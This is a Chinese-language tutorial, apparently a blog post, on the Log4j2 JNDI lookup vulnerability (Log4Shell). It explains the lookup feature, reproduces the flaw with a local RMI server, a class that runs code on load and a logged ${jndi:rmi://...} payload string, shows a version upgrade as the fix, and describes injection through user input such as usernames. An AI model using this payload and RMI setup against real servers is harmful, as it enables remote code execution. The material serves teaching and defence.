1. 原理
log4j具有一个功能lookups的功能,它能够支持你在日志打印中通过简单的表达式输出操作系统、Java相关的信息,如下代码:
@Slf4j
public class Log4j2Main {
public static void main(String[] args) {
log.info("runtime: {}", "${java:runtime}");
log.warn("vm: {}", "${java:vm}");
log.error("os: {}", "${java:os}");
}
}
输入为
2021-12-19 16:41:30,241 1 [main] INFO Log4j2Main: runtime: Java(TM) SE Runtime Environment (build 1.8.0_301-b09) from Oracle Corporation
2021-12-19 16:41:30,243 1 [main] WARN Log4j2Main: vm: Java HotSpot(TM) 64-Bit Server VM (build 25.301-b09, mixed mode)
2021-12-19 16:41:30,243 1 [main] ERROR Log4j2Main: os: Mac OS X 10.16 unknown, architecture: x86_64-64
这里使用到的lookup功能其实底层是基于Java的JNDI的,而JNDI支持远程方法调用(RMI)。
2. 复现
现在我们来启动一个远程服务,在上面注册一个JNDI,代码如下:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
/**
* @author zjwblog <co.zjwblog@gmail.com>
* @version 1.0
*/
public class RMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("com.zjw.log4jbug.RemoteObject", "com.zjw.log4jbug.RemoteObject", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("remote", wrapper);
}
}
并提供com.zjw.log4jbug.RemoteObject类
package com.zjw.log4jbug;
/**
* @author zjwblog <co.zjwblog@gmail.com>
* @version 1.0
*/
public class RemoteObject {
static {
System.out.println("用于攻击服务器要执行的代码...");
}
}
然后我们修改之前的Log4j2Main代码如下
import lombok.extern.slf4j.Slf4j;
/**
* @author zjwblog <co.zjwblog@gmail.com>
* @version 1.0
*/
@Slf4j
public class Log4j2Main {
public static void main(String[] args) {
String name = "${jndi:rmi://127.0.0.1:1099/remote}";
log.info("Hello: {}", name);
}
}
最终运行结果如下:
用于攻击服务器要执行的代码…
读者不难发现,这里输出的结果为我启动的远程JDNI服务里面提供的类的静态代码块
结论:总结一下,就是在我们本地的服务器上执行了远端服务器上定义的代码,如果这段代码有恶意,那么就会造成重大经济损失。
3. 修复
修复方法有两种,网上也有很多资料,可以使用参数禁用掉lookups功能,也可以升级到新的安全版本,当这个BUG被报告之后,官方也发布了新的版本,对其进行修复,可以升级到新的log4j版本,如下
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
升级之后运行代码如下:
2021-12-19 17:06:51,741 1 [main] INFO Log4j2Main: Hello: ${jndi:rmi://127.0.0.1:1099/remote}
可以看见name定义的指令没有被执行。
4. 影响范围
该BUG对使用log4j作为日志框架的项目都会造成重大安全隐患,对对外提供服务的WEB项目更是致命,例如一个场景,用户输入用户名进行注册,刚好服务端会使用log4j记录系统组册的用户名,攻击者在用户名中输入类似${jndi:rmi://127.0.0.1:1099/remote}的指令代码,则会导致服务器运行第三方定义的代码,造成服务器重大安全问题。